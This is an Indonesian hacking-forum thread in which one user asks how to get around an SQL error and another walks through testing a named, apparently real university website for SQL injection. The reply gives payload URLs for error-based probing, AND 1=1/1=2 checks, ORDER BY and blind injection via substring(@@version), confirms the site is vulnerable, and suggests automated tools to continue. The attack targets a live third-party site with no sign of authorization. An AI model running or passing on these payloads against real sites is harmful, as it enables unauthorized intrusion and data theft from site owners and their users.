Kalau Ada Bug Seperti Ini bagaimana Cara Penyelesaianya

[anomie03]

http://www.iau.org.tw/news_detail.php?I ... der+by+3--

trus timbul kerterangan

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 3--)' at line 4

[3xtr3m3b0y]

http://www.iau.org.tw/news_detail.php?I ... der+by+3--

trus timbul kerterangan

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 3--)' at line 4

Berikut langkah awal pengecekan apakah website tsb memiliki Vuln SQLi ataukah Blind SQLi :

1. Tambahkan tanda single quote pada akhir URL

Code: Select all

http://www.iau.org.tw/news_detail.php?Id=526'

Hasilnya :

Code: Select all

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '')' at line 4

2. Pastikan dgn menambahkan AND 1=1 dan AND 1=2 diakhir URL

Code: Select all

http://www.iau.org.tw/news_detail.php?Id=526+and+1=1--
http://www.iau.org.tw/news_detail.php?Id=526+and+1=2--

Hasilnya :

Code: Select all

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ')' at line 4

Lho koq keduanya ERROR...
Eitzz, jgn panik dulu, coba hilangkan tanda "--" diakhir URL

Code: Select all

http://www.iau.org.tw/news_detail.php?Id=526+and+1=1
http://www.iau.org.tw/news_detail.php?Id=526+and+1=2

Hasilnya :
Sesuai dgn harapan...hiks..hiks...
Nah dari hal tsb di atas, menandakan utk alamat URL berikutnya gak usah dikasih akhiran "--" atau yg lain.

3. Tambahkan ORDER BY 1

Code: Select all

http://www.iau.org.tw/news_detail.php?Id=526+order+by+1

Hasilnya :
Weleh ERROR lg seharusnya kan halaman gak berubah sprt pd halaman ketika kita blom memasukkan kode tambahan...
Hmm, mungkinkah ini ciri-ciri Vuln Blind SQLi...???
Mari kita coba pada langkah berikutnya, utk memastikannya...

4. Coba dgn teknik Blind SQLi

Code: Select all

http://www.iau.org.tw/news_detail.php?Id=526+and+substring(@@version,1,1)=4  << FALSE
http://www.iau.org.tw/news_detail.php?Id=526+and+substring(@@version,1,1)=5  << TRUE

Hasilnya :
Bener kan Blind SQLi...!!!

5. Monggo dilanjutin, sy cmn bisa bantu sampe sini. Klo gak pengen repot main tebak2an, silahkan gunakan toolz...